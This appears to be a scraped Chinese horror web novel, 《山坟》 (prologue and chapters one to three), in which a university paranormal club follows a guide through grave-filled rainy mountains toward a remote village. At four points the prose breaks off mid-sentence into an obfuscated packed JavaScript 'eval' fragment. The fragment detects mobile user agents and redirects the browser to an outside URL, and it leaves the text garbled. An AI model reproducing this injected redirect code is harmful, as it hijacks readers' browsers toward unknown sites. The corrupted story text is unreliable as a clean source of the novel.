《山坟》 1. 楔子 我躲在汽车里,妈妈睡着了。 雨下的很大,进山后车不好开,爸爸拿雨伞下车找人帮忙,去了很久也没回来。 车里很安静,潮湿的味道从车窗缝隙渗进车内,我很讨厌下雨的味道,因为那让我想到了小时候在姥姥家的生活。 姥姥住在山凹的小村子里,村子常年下雨,一下雨山沟沟的水就涨上来,因为地势低,水涨上来要好几个月才能下去。 没有太阳,衣服晒不干,潮久了会散发出一股难以忍受的霉味儿。 村子每个人身上都有这种味道,但大家好像并不觉得难闻,似乎觉得这是再正常不过的一件事。 所以外面的人想要知道这个人是不是村子的,只需要闻闻他身上的味道就可以了。 后来妈妈把我接到城里去,我洗了好几个月才把身上那股霉味洗掉,几乎搓掉我身上一层皮。 但是现在,我又闻到那股味道了。 而且味道仿佛放大千百倍,缩在车后座的我难以忍受地捂住口鼻,恶心到想吐。 我转头四处寻找,想要知道那味道是从哪里传来的,是不是因为外面雨太大了?还是车窗没关好? 就在我检查车内四面窗户时,窗外氤氲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067393|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨幕里,突然走过一个又一个人影。 黑色的影子,它们瘦长高大,手臂只有一根树枝粗,贴着车身而过,仅能看见腰以下的部分。 我恶心又恐惧,缩在座位下面不敢发出丁点声音。 因为我清楚地知道,外面的东西绝对不可能是人。 恐惧蔓延,雨声渐大。 我听到了自己的心跳声。 一个,两个,三个……十五个,十六个…… 在我即将数到第十七个时,瘦长影子突兀地停了下来,就停在我们的车窗前。 极其缓慢地弯下腰…… 2. 第一章:领队 青悬民宿,一楼。 第五页窝在休息区的懒人沙发里,当阳光从衣服移动到眼皮上时,她终于醒了,皱眉哼唧一声,下意识手搭上眼皮遮住刺眼阳光。 下一秒身边传来脚步声,有人路过她身边,走到窗前,唰的一声,窗帘被拉上半边。 阳光消失,第五页眼球脱离酸胀感,冰凉舒适降临。 她又缓了几秒才睁开眼,一眼瞧见休息区另一个黄色沙发上的穿着条纹衬衫的清瘦男生,果然是裴桐。 此时后者刚坐回原来的位置,正准备调整状态继续玩手机上的数独游戏,感受到她的目光后抬头,眉梢轻挑,疑惑地看过来,“还不舒服吗?” “不是。”第五页摇头,打哈欠支胳膊起身,“我睡了多久?” “四个小时。”裴桐走到她身边坐下,沉声道,“你睡了很久。” 她是早上八点多下来睡的,四个小时,也就是说现在大概十二点,可以直接吃午饭了。 第五页转转肩膀,不得不说睡饱过后身体就是舒服啊,还是在一个难得的好天气。 来这座县城一个周了,每天不是在下雨,就是在下雨的路上,本来是跟着社团出来玩的,结果现在行程被耽误大半。 今天起床后意外发现县城出太阳了,错过民宿早餐,她不想回楼上房间睡回笼觉,干脆要了毯子到楼下休息区的沙发上睡,这一睡就是一上午。 活动完筋骨后,她随口解释,“可能是因为错过了早餐。” 裴桐面无表情盯了她一会,从随身包里拿出保温杯问她,“喝吗?” 想到保温杯里的东西,第五页没忍住心底打了个寒战,心虚道,“还是算了。” 不太自然地四处看看,转移话题,“宋英杰他们呢?还在楼上吗?” 裴桐到底没继续逼她,收起保温杯,“出去了。” 她正要问他们去哪了时,一个高壮人影风风火火地从民宿外面跑了进来,定眼一看,这不正是曹永朝嘛。 他扑到休息区的桌边,倒上一大杯水,咕咚咕咚刚喝完便迫不及待地向他们宣布,“找到了!” 第五页和裴桐互看一眼,后者还是那副死人脸,她倒是眼神亮起来,“是找到带我们进村的人了?” 曹永朝笑容灿烂,“没错。” “对方是谁?”她问。 “一个旅行社的导游。我给他指了要去的村子大概方位,他说有点印象,我就觉得有门。” “太好了!”等了这么多天,终于找到可以带进山的人,第五页难掩兴奋,表情跟着生动起来,“那我们也去看看吧。” 曹永朝笑得嘴唇没合过,“行啊,正好社长还在那边,我们过去可以一起商量。” 社长是宋英杰,也是他们灵异社团的老大。 第五页没什么要收拾的,裴桐还是随身带着那个黑包,曹永朝兴奋劲没下去,转头就要上楼去通知他们最后一位伙伴,没想到对方正摆弄着相机下来了,瞧见他们雀跃的表情,华悠悠有些迷茫,询问,“怎么了?” 曹永朝又简单跟她解释了下。 后者脸上也迅速漫上喜色,但没第五页那么生动,最后矜持地抿抿唇,笑说:“嗯,一起去吧。” 没问题后,四个人又风风火火地离开了民宿。 正值暑假,虽不是旅游胜地,但县城里人也不少,好天气的原因,第五页离开民宿没多久,便感觉一股热浪袭来。 一旁裴桐察觉到她的不适,收了手机,从包里抽出伞凑来打在两人头顶。 伞是两用的,遮阳遮雨都可以。 来石阳县一个多周了,雨下个不停,他们一行人从开始的坚决不打伞,到现在每人包里备上全套雨具。 本以为今天是个例外,没想到还是用上。 第五页没说话,两人默契地开始用同样节奏走路。 曹永朝和华悠悠走在最前面,一个在摆弄相机拍照,一个在联系社长。 这次说是旅行其实是他们社团的内部团建,也是她和裴桐加入社团后的第一次活动。 他们社团在学校里并不出名,每次参加活动的人数都不超过二十个,在学校里也很少有人知道,已然实存名亡。 而且灵异社团,听名字就知道是由一群闲得蛋疼的大学生组织,第五页加入社团是个意外,留下却只有一个理由。 她喜欢灵异且稀奇古怪的人或事。 这次的活动是曹永朝组织的,消息来自他家一个远房亲戚,他称对方为表妹。 曹永朝爷爷的兄弟姐妹很多,小时候过年,会有很多人来家里拜年,大人们聚在一起,小孩也会聚在一起。 他上高一那年第一次见到这个远方表妹,表妹年龄跟他相差有些大,刚上五年级,穿着粉色蛋糕裙,打扮可可爱爱坐在沙发上,表情看上去却阴恻恻的,有些渗人。 大人小孩都不太喜欢她,当然大人不喜欢也不会直接表现出来,还是会嘴上奉承对方父母几句孩子真可爱。但小孩就不会管那么多了,表现出来就是过年时一群小朋友抢着玩玩具看电视,只有她一个人坐在角落里扯裙角。 那时曹永朝正值中二期,认为自己是大人了,不屑跟一群小屁孩玩,便独自捧着同学借给他的书在角落看。 也是他嘴贱,偶然一天路过那表妹时,想起他刚看的书,随口开玩笑说她不适合公主风的衣服,要不试试哥特风。 对方阴恻恻瞪了他一眼,没说话,他自讨没趣地离开。 谁知道后来对方竟偷偷跑去撕掉他的书。 因为正好在过年,双方父母都不想闹得太大,便没过多追究。 说不上讨厌,不过自那以后曹永朝还是对那表妹多了几分敬畏。 再后来同样是过年,他偶然发现那表妹竟然在给某个杂志社投稿,出于报复心理他偷偷看了几眼信,那是一个以她自己口吻讲述的故事,故事有很多错别字,语言也不算流畅,但足够诡异有趣。 故事中的地名曹永朝后来去查过,确实也都存在。 上大学后,他和第五页他们一样加入灵异社团,迷上灵异的人和事,对世界上所有诡异或古怪的地方都产生极强的好奇心。他查了很多资料,甚至偷偷去问过表妹的父母,不过对方欲言又止,并没有多说。 曹永朝一直想去信中的地方探险一次,一直想一直想,几乎成了他的一个心魔。终于加入社团后让他等到这个机会,他隐晦向社长宋英杰提出这个地方,在暑假约了一行对诡异事情好奇的人,以旅游的名义来到这个地方。 其实一个周前,跟来的人并不少,只是过来以后他们像是中了诅咒般,县城接连下雨,玩没玩好,想去的地方也找不见人愿意带路,进山后围着山转了一圈又一圈,许多人不愿意在这白等,告别回了家,队伍一直缩减,最后只剩下他们五个人。 …… 快到地方时,第五页远远瞧见宋英杰站在街口摸手机,似乎想打电话,抬头看见他们,又收了手机抬手高呼,“嗨,这里!” 几人过去。 到了近处,宋英杰说:“等你们好久了。” 第五页兴奋忙问,“人还在吗?” “还在。”宋英杰颔首,“一起过去吧,正好大家商量下出发时间。” 说完,他们便跟他转头钻进身后的礼品街。 礼品街并不长,他们要找的人在街道中部,没走两步便到。 十分简陋的旅行社,一块大塑料白泡沫板立在门口,上面用记号笔加粗写了天堂旅行社五个大字,凑近看,在泡沫板的最下方还有行小字,写着网上前几年流行的武侠风句子:天堂有路你不走,地狱无门闯进来。 第五页会心一笑,还真是天堂旅行社啊。 再转头看去,旅行社只有一道小门,宽不足一米,人要侧身才能进去,门面目测还没旁边的木雕店大。 哪知宋英杰并没有带他们进旅行社,而是径直走向旁边的木雕店。 木雕店门口支了一个长长的摊子,摊子不仅挡住了自家店门,还挡住了旁边的旅行社。上面摆放的是各种木雕手串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067394|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和玩偶,人和动物的都有,一旁立了两个小牌子,一个贴着收款二维码,一个写了“纯手工打造”五个大字,字迹和旁边的旅行社有点像。 宋英杰走到木雕摊位前,敲了敲木板,“你好。” 很快,半人高的摊位后一个胡子拉碴头发有点长的中年男人直起身,第五页走近时闻到一股浓烈的烟草味,不免锁紧眉头。 中年男人坐在矮板凳上,手里拿着一块木料和工具刀,刚才应该是在工作,听见声音腾出只手掐灭嘴里的烟,丢在脚下撵了撵,抬头隔着淡淡烟雾瞥了他们眼,“就是你们几个要去那个什么村子?”嗓音粗糙。 “雨守村。”曹永朝兴奋地凑上前补充,并连连点头,“没错,就我们几个。” 中年男人扫视一圈,沉声报了价,“一人500,包去包回。除此之外进山后的东西你们自己准备。” 500不算多也不算少,放在普通大学生身上是一个人几个周的生活费,这次出来旅游他们都带够了钱。现在好不容易找到一个愿意带路的人,也是害怕对方随时反悔,他们并没有过多纠结和讲价,纷纷点了头。 付了定金200,后面的钱等到目的地后交一半,出来再交一半。 支付宝到账的声音响起,华悠悠站在队伍中间犹犹豫豫问道,“能问一下我们进山后还需要准备哪些东西吗?” 之前他们进过几次山,不过因为去的地方不深,半天就回来了,准备的东西并不齐全,零零碎碎的,更多的是雨具。 这次进山他们有预感,一定会成功走到目的地,不知道要在山里待多久,多问一句也好多做一手准备。 好在收了钱后,中年男人的态度缓和了些,虽然有些不耐烦,但还是拿出手机,报了几个,“食物,水,帐篷……东西有点多,我给你们发个清单,自己按照清单上的东西去找。” 曹永朝十分有眼力见地飞快摸出自己手机,“那咱们加个微信吧,正好有事可以随时联系。” 中年男人没拒绝,扫了他的二维码,添加后曹永朝笑着询问该备注什么。 “齐聪,我的名字。叫什么随你们便。” 曹永朝点头,“那我们叫你聪哥吧。” 齐聪没应声,刚准备埋下头继续雕自己的木雕,像是想起什么,又抬头问他们,“对了,你们准备什么时候出发?” 第五页他们互相看了几眼,最后由宋英杰代表回答,“明天可以吗?” 齐聪点了两下头。表示自己知道了,“行,那就明天早上6点,还是这个街口。” 6点对大学生来说有些早,不过一想到终于能出发,他们也没过多抵触,应了下来。 回去路上,曹永朝将清单给他们每个人都发了份,按照清单准备进山的东西。 或许是觉得事情终于有大进展了,几人晚上回到民宿后没几个能快速入睡,激动地在群里聊天。 后来不知谁先下楼,大家一个个跑到一楼休息区玩起了扑克。 因为明天还要一大早起床,他们也不敢玩太晚,十二点之前回房睡觉。 翌日,天还没亮透,第五页在民宿房间里惊醒。 她躺在床上盯着天花板缓了好一会的神,听到窗外淅淅沥沥的雨声,才意识到刚才吓醒她的是一声闷雷。 摸手机看时间,快五点半,该起床集合了。 第五页起身走到窗前,一把拉开窗帘。 果然又下雨了。 窗外灰蒙蒙一片,天空被厚实的乌云遮蔽,雨水淅淅沥沥落下来,昨晚睡觉前她怕屋里闷,窗户特意留了半掌的缝隙。 此时昨日好天气带来的热气早已散去,潮湿的空气顺着缝隙渗进房内。 第五页站在窗前,竟在这三伏天冷不丁感受到点寒意,她搓搓肩膀,想去找件长袖穿着。 转身面对房间大门时,突然意识到她的门似乎从刚才开始就被门外人一直有节奏地敲击着。 敲门声很轻,藏在雨声下微不可闻。 “咚咚……咚咚……咚咚……” 3. 第二章:出发 第五页神情停滞一瞬,犹豫了几秒,放轻步子朝房间门口走。 来到门前,凑上猫眼朝外看,直到看见熟悉的条纹衬衫,那颗稍稍慌乱的心才平息。 呼出浊气,她一把拉开房间门,另一只手在胸口顺气,“吓死我了你,干嘛那样敲门?” 裴桐穿戴整齐站在门外,一只手勾着纸袋,一只手还停在半空中。 见她已醒,收回手,视线轻轻在她脸上扫过,没回答刚才的问题,而是提了提另只手上的纸袋,“我买了小笼包。” 早上一醒来就有人送早餐上门是件幸福的事,更何况是她的亲亲男朋友,第五页刚才那点怨气瞬间消失不见,喜上眉梢,“哇!” 亮着眼睛凑上前,不顾形象地贴了下脸,笑眯眯道,“谢谢我的亲亲男朋友!” 她退回去的同时悄无声色地夺下他手中的早餐,扒开纸袋,“好香!”如果不是还没洗漱,她真想现在就塞几个进嘴。 瞧见她这幅样子,一直死人脸的裴桐也罕见地柔了神色,看向她的房间,“咳,先洗漱吧。” “噢噢,对对!”第五页这才回过神来,拎着早餐快步往屋里走。 以前他们也不是没在同一个空间待过,裴桐知道她的性子,跟了进去,想要顺便准备帮她收拾行李。 进卫生间前,第五页随口问道,“其他人呢?也起了吗?” 裴桐早起买早餐时也给其他人带了份,想到当时路过楼下休息区看到的情形,如实回道,“都在楼下。” “啊!”第五页瞬间惊恐,“他们都收拾好了?” 想到其他人都收拾好了,说不定正在楼下等她,心漏上好几个拍子,不想拖后腿的她手上速度立马快上一倍。 最后五分钟内解决洗漱,套上外套就冲了出来。 而裴桐说是收拾行李,其实也没什么该他收拾的,东西早在昨天晚上就被整理好了,他只需将几个包拎到门口就行。 一人拿背包,一人抱纸袋,关门下楼一气呵成。 第五页他们叼着包子下楼时,楼下的其他人也刚吃完早餐,相互打过招呼后直接出发。 昨晚上他们都跟家里打过招呼,所以早上并没有打电话。 到达约定的街口时,还剩二十分钟,没瞧见昨天的聪哥。 他们继续等着,本以为对方会提前十分钟过来,没想到直到六点,聪哥才卡点开着辆灰扑扑的面包车从角落里出来。 听见鸣笛声,他们接连过去,主驾驶的车窗降下来,齐聪还是昨天那副装扮,第五页甚至怀疑他是不是没刮胡子,他一条胳膊搭在车窗边缘,瞥了他们眼,调侃语气道,“嚯,这大包小包的。” 第五页离驾驶座的窗口最近,余光瞥了眼潮湿的地面,手遮在眉毛上,眉头耸起,忧心地大声问道,“聪哥,今天下雨了我们还进山吗?” 齐聪眼皮一翻,十分不屑地嗤了一声,“这才哪到哪?” “小雨而已,进山后中午就停了。” 边说着边不知在车里按了哪个按钮,只听见咔哒一声,应该是车门开了,“别在门口站着,要进山就快点上来。” 既然对方都这么肯定了,第五页他们也没什么好说的,齐聪在这里待的最久,进山的经验肯定比他们多。 宋英杰作为社团社长站出来,“我来开门。”上前一步,找块干净的地方放下自己东西,先帮不方便的他们拉开车门。 曹永朝上车,然后是宋英杰,第五页和裴桐是第三波。华悠悠东西不多落在最后。 上车前第五页回头看了眼,发现华悠悠正在偷偷拍车牌号,拍完后抬头对上她的眼神,腼腆一笑,虽然没说但她们都知道是想留个心眼。 上车后,齐聪也没耽搁直接启动了车子,没人说话,车内气氛有些尴尬。 曹永朝跳出来当气氛组,“聪哥,我们这车要坐多久啊?” 齐聪摸了下手边的一个旧木箱,似乎想找根烟,没摸到后抓了把头发,啧了一声,“不长,下午就坐不上了。” 想到他们之前进山到过的最远地方,也是车开到下午就再也进不去了,那时带他们的人说什么也不愿意更进一步,只好把他们又带回来。 宋英杰出来应和,“这么说我们下午要爬山?” “对。”齐聪慢悠悠地答:“你们说的那地方有些偏,后面车开不进去,估计要走几里山路。” 或许是这几句话,他的话匣子被打开了,难得好心情地跟他们有一搭没一搭地聊着,“说来你们几个大学生不好好在大城市待着,跑这山沟沟来干什么?” 第五页坐在后座,扫了其他人一眼,笑着模棱两可回复道,“这不正好暑假了,我们出来旅游嘛,山里空气好。” 齐聪鼻子出了一声气,也不说是相信还是没相信。 第五页继续问:“聪哥,看你对这里好像很熟悉,在这里当导游很多年了吧。” “没多久,五年。”齐聪随口答。 “噢噢,那也挺久的了。”第五页了解似的点点头道,“那你去过雨守村这个地方吗?” “没去过。” “那听过吗?” “没听过。” 车上其他人短暂地沉默了一下,这倒是在他们意料之外,毕竟想着能带他们去目的地的人,肯定多少去过或者听过这个村子,没想到是这么一个完全不知情的导游。 似乎是猜到他们心中的疑虑,齐聪在越过一个大山坡后,单手扶住方向盘,抬眼皮透过车内后视镜撇了眼车内其他人。 轻蔑地笑了下,安抚他们,“没听过不代表不可以带你们去。这里的山路我都跑了几年了,带进带出的旅客没有几千批也有几百批。你们说的那地方我有些印象,就把心放肚子里吧。” “我们不是不相信你,这不就是随口打听一下嘛。”第五页跳出来缓和气氛。 后面进山路上,他们一路聊,车一路开。 等天完全亮起来时,周边已被密林和雨雾环绕,远处山峰隐匿在厚重的雨雾中,只剩下若有若无的轮廓。 中午吃饭时,山里雨没停,他们也忘了问,蜷缩在车里解决午餐。 刚解决完,齐聪也没等他们休息会儿,便一声不吭地又启动了车子。 山里都是土路,面包车摇摇又晃晃,就在第五页反复查看时间,和上次进山后的极限做对比,猜测什么时候才能停下来时。 他们车终于在一山腰缓坡处缓缓停下。 晕了一路,吐了一路的曹永朝惨白着脸,忐忑开口,“到了吗?” “到了。”踩下刹车的齐聪顺手搓了把方向盘。 话音刚落,曹永朝再也忍不住似的拉开车门冲了出去,随便找块地便吐起来。 风夹杂着雨灌进车内。 第五页他们披上雨衣相继下车,雨丝落在身上的沙沙声响起,相比之前现在的雨小了不少。 坐了几个小时的车,鼻腔和肺都被二氧化碳占据,离开原本沉闷的空间,深深吸一口山里的新鲜空气,感觉五脏六腑都被打通。 旁边宋英杰比她先感叹,“好新鲜的空气啊!” 几个在城市里长大的孩子,即使反反复复进山,新鲜劲也没能下去,落在最后的华悠悠更是刚下车就从背包里掏出相机对着远山拍照。 他们几个原地兴奋转悠了会儿,正准备转身询问带他们进来的聪哥接下来该怎么走,车子侧后方突然传来他的声音,“啧,你小子吐哪呢?” 第五页看过去时,齐聪正拽着曹永朝的衣领用力朝后一拉,离开山边一个小土堆。 曹永朝吐到一半被人拉走,脑袋都是懵的,匆匆忙忙抹了下嘴,稳住身体后迷茫又带着生气地问:“怎么了?” “怎么了?”齐聪将雨衣丢给他,冷笑一声,“看你选了个好位置。” 曹永朝转头瞥了眼土堆,嘟嘟囔囔披上雨衣,“不就是一个小土堆嘛。” 华悠悠举相机过来,对着小土堆左看右看,琢磨出点味儿了,“这好像是个坟啊。” 曹永朝表情僵住,打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067395|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个寒颤。 齐聪从车后备箱拎了他们几个的登山包出来,边说边丢进他们各自怀里,“这山里不像你们城里,坟没那么板正,圆滚滚的黄土一堆。很多没人打理的野坟没墓碑,远远看去跟个小土包似的。” 宋英杰问:“这里怎么会有坟?” “有什么好奇怪的,说明附近的山上曾经有人住过呗。”齐聪说:“有人的地方就有坟,你们该担心的是没有坟的山,如果一座山没有坟,那才是真的没有人来过了,至少不是个适合长时间居住的地方。” 场面安静几秒。 目睹全过程的第五页默默走到那个小土堆面前,弯腰合掌拜了拜,没几秒裴桐跟在她身后也拜了拜。 旁边离得最近的曹永朝瞧见她的动作,惊讶道,“你在做什么?” “拜坟啊。”第五页转头,摸了摸耳朵,“我小时候跟我姥姥上过坟,听她说不管是哪里的风俗,活人对死人总是很忌惮的,踩过坟或者在坟前做了什么事必须停下来拜一拜才能走,民间的说法是对鬼魂不敬,脏东西很容易缠上你。” 她的话刚说完,曹永朝他们几个像是心领神会似的忙跟着过来拜了拜。 齐聪站在他们身后,眉毛轻轻上扬,用一种很稀奇的目光扫视了遍他们,“你们大学生还相信这些东西?” 最先拜完的第五页站在一侧,解释道,“我们也不算真的信,只是求个心安。” 齐聪颔首。 “行,那你们等会儿跟紧点,接下来进山这样的坟可不少。” 拜完坟的其他人了解似的点头,相继比出OK的手势。 一点小插曲过去,几个人分发行李,整装上阵。 车留在山腰上,他们背着各自的背包上路,第五页身体不太好,所以她的行李有一半都在裴桐背上,后者也任劳任怨。 齐聪带队开路走在最前面,第五页和男友裴桐落在最后,因为位置站的够后,所以周边大部分的光景能收入眼底。 离开原来那处小山坡,齐聪带他们挑了条小路继续往山上走去。 小路很窄,不足一米,碎石和硬泥土硌的人脚生疼,泥路两边是枝叶茂盛的灌木丛,带着水汽的阴湿叶片在来往人的小腿位置来回扫挠,仿佛在邀请他们留下来做客。 而直到真的在山里行走,他们才发现,刚刚齐聪说的那句话不假,山里用黄土堆起的坟包不少,有的有墓碑有的没墓碑。藏在山坡边矮崖下,不仔细去看根本注意不到,一不小心就会踩上去。 曹永朝从上路开始,不知道是心不在焉还是怎么着,已经连续好几次差点一脚踩上人家坟头,均被和他走一起的宋英杰给拽了回来。 他拍两下脸让自己清醒一下,等走得远了才敢吐槽起来,“虽说山里有坟不奇怪,但这是不是太多了点,以前就没有火葬什么的吗?转头一个坟转头一个坟,真看的人心里发毛。” 最前方的齐聪用棍子打掉一旁的落叶,边走边道,“其他下葬方式有啊,水葬,天葬还有塔葬,就是字面意思的修个塔存放遗骨。不过不管国内外,最常见的下葬方式还是埋进土里,在国内这叫做入土为安。” 一旁宋英杰从他话中琢磨出了点味,搭话,“聪哥你还去过国外啊?” “嗯,国外待过几年。” “在国外也当导游?”第五页好奇问。 “不是,那时候和几个朋友玩。主要是去一些没人的地方玩野外生存。”齐聪一边带路一边答。 曹永朝眼底星火被点燃,闪烁出崇拜的光芒,“这么酷?” 光赶路也干巴巴的,难得找到个话题。 齐聪的话匣子打开,跟他们讲起了他在国外野外生存探险的事。 谁都爱听故事,一时间密林里只剩下沙沙的雨声和他娓娓道来的讲故事声。 只是讲到最后,第五页问起他以前的同伴时。 齐聪却一皱眉毛不说话了。 第五页从这沉默中品出点什么,以为不小心戳中伤心事,没再继续这个话题。 4. 第三章:进山 山路难走,他们在雨林中穿梭三个小时,等出来才发现,齐聪只不过是带着他们从一个山头爬上了另一个山头。 连续不停歇地走三个小时,别说山路了就算是在城市里他们脚也会受不了。 队伍里只有齐聪这个常年山里进进出出的人好些。 而第五页他们蹲的蹲扶的扶,拥作一团,小口喘气,抹了把额上的汗。 进到山的深处,周围除了鸟叫声只剩下他们的喘息声,真有种被外面遗忘的感觉。 雨在半个小时前就停了。 身体在雨衣下捂出汗,衣服紧紧贴着难受,曹永朝一把掀开雨衣帽子,深吸口凛冽清新的空气,问齐聪,“我们还要走多久啊?” 齐聪没说话,站在崖边眺望远处连绵不断的群山。 华悠悠平稳住呼吸后,直起身,举相机走到他附近,咔嚓一声,对着群山拍了张照。 其他人跟着过来聚在她身边不说话,任凭崖上凉风从雨衣领口灌进身体,享受难得的安静一刻。 休息了会,大家缓过劲儿来。 华悠悠看着一眼望不到边的山,半是感叹半是疑惑,“你们看这些山像不像一座座坟包?” 他们被她这冷不丁冒出的话吓了跳,再转头去看,只感觉刚刚还惬意的崖上凉风现在变得刺骨无比。 一旁的齐聪嗤笑一声,“年轻人想象力真丰富。” 话落也不等他们反应,又接着说:“行了,都休息够了吧。我带你们去找今晚睡觉的地方。” 一路过来别说村子了,他们连除他们外的人影都没看到。 曹永朝最先反应过来,“我们今天要睡在山里?” “不然我让你们买帐篷干什么?”齐聪回。 曹永朝不说话了。 下山前,第五页最后看了眼起伏的群山。 嗯,确实挺像坟包的。 上山用了很长时间,下山就快多了。 半个小时后,齐聪带他们在山脚下找到一处开阔地带,一面是密林,一面是干涸的河床。 下过雨后,每隔几米泥沙石缝间积起一个小水滩。 他们找了块干净地方搭帐篷。 山里黑的快,等他们帐篷搭起来,天也黑了。 难得一次在山里过夜,第五页他们很兴奋,围在火堆前叽叽喳喳聊天。 唯有带他们进来的齐聪一个人坐在角落里,不知从哪儿掏出一块巴掌大的木材默默削着不说话。 裴桐拿起早就放在火边热的搪瓷水杯,感觉温度差不多了后,递给一旁第五页。 后者喝了口,手和脚很快暖和起来。 到了晚上,山里的雨就完全停了。 第五页捧着水杯抬头,透过密林枝丫树叶努力分辨头顶墨蓝夜空,脸上不自觉带上几分惬意,“今天晚上好像有星星哎。” “有吗有吗?”曹永朝转着脑袋抬头看,“哪里?” 没等第五页给他指,对方便先一步惊呼出声,“看到了!” “我去,真的有,好亮一颗!”曹永朝盯着一处说:“那个是北斗七星吗?” 高亢的声音瞬间吸引了其他人,华悠悠默不作声抬相机,咔嚓声对着夜空拍了张。 宋英杰笑着补充:“今天晚上这么多星星,明天说不定是个好天气。” 第五页望着夜空,不抱太高的期待,“希望吧。” 毕竟他们来这边几个周了,就获得了昨天一天的晴天。 “我还是头一次在山里看夜空。”曹永朝双手撑着大腿两侧的石头,嘴里发出喟叹声,身子向后仰,“没想到晚上的天空这么亮,以前在课本上看还觉得太夸张了,现在发现好像不用手电筒也可以。” 惬意的气氛在队伍中弥漫,就连不怎么喜欢说话的华悠悠也昂头低声感叹一句,“真的好亮,好久没见过这么多星星的夜空了。” 第五页听出她话中的其他意思,笑追问,“你以前也看过这样的夜空?” 华悠悠垂头看过来,腼腆一笑,“我小时候在乡下待过一阵子,乡下没有夜生活,天一黑天空就特别亮。” “当然了也没有现在这么亮过。”华悠悠补充道。 第五页颔首,“可能是我们在山里的原因吧。” 看够夜空,曹永朝注意力转去周边密林,夜空下干涸河床亮得像是上个世纪的黑白电影,一切都是冷冷的,只有他们这一块火堆有丁点暖色。 然而河床两侧密林就是另一副景色了,外侧密林在月光映照下还算清晰,但是越往里走就会变得更加幽暗,仿佛海洋深处的暗流旋涡,阴黑湿冷,远比白日随处可见的坟包更能滋生恐惧。 曹永朝听着森林深处几只不知名的鸟儿扑腾翅膀飞离树枝的声音,打了个颤,“你们说这林子里会不会有鬼啊?” 见其他人一脸迷茫地看着他,他开始发挥想象力,表情丰富地飞快比划道,“就是小说里常写的那种,白天路过看不出来,到了晚上夜深人静的时候,一些活人看不到的东西会从坟里爬出来觅食,它们在森林深处成群结队游荡,迷路的人上前搭话求救,会莫名其妙变成其中一员,最后等天光大亮,村民进山发现迷路的人惨死在枯树下。” 曹永朝越说越兴奋,说到最后还做了鬼脸。 可惜他们这一行人在寻找什么“雨守村”开始,就做好遇见灵异古怪事情的准备,甚至可以说他们就是来“作死”的,所以胆子相比旁人大很多。 围在火堆前其余五个人,除齐聪一直低头削木头不说话外,只有华悠悠看表情有稍稍被吓到点,快速吞咽两口水,但眼中闪动的光还是能看出她是兴奋的。 宋英杰坐曹永朝附近,在他做鬼脸的刹那一巴掌拍上他的后脑勺,“突然讲什么鬼故事,看你把华悠悠都吓到了。” 华悠悠小声为自己辩驳,“其实没有……” 被拍了一巴掌的曹永朝登时老实了,摸着后脑勺恢复往日插科打诨的样子,“活跃活跃气氛嘛,哈哈抱歉抱歉。”后面半句是对着华悠悠。 后者摇了摇头说了句没事。 看着队伍里的欢乐氛围,第五页也忍不住笑了,咳嗽两声补充道,“咳,咳,其实比起鬼我们更应该担心的是野兽,这差不多走到森林深处了,没有狼说不定也会有野猪出没。” 宋英杰看她,“说得对。” 曹永朝余光瞧见带他们进来的导游,高声道,“聪哥聪哥这山里有野兽吗?要是晚上有野猪过来我们怎么办?” “早点睡。”正好削完最后一块,齐聪吹去木料上的碎屑,完整露出一把木制匕首。 “什么?” 他不耐烦地补充,“眼睛一闭一睁,什么事都过去了。” 吃瘪回来的曹永朝在他们之间低声吐槽,“切,说了跟没说一样。” 作为社长的宋英杰出来打圆场,“好了好了,正好时间不早,早点睡吧。明早说不定还要早点赶路。” 其余人相继点头。 熄了火堆,确认没有火星后,他们走向各自的帐篷。 一共三顶,两女生一顶,曹永朝白日多次在齐聪那里吃瘪,晚上休息自然也不愿意跟他一个空间,于是裴桐被推出来。 后者没什么意见,只是在临睡前提着随身携带的小黑背包拉第五页去了一个角落。 队伍其他人知道他俩的关系,见怪不怪喊着才不要吃狗粮打哈欠滚去睡觉了。 还没走多远,第五页便先一步抽出手,开口询问,“怎么了?” 只是刚一张口,她喉咙里的痒意就抑制不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067396|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 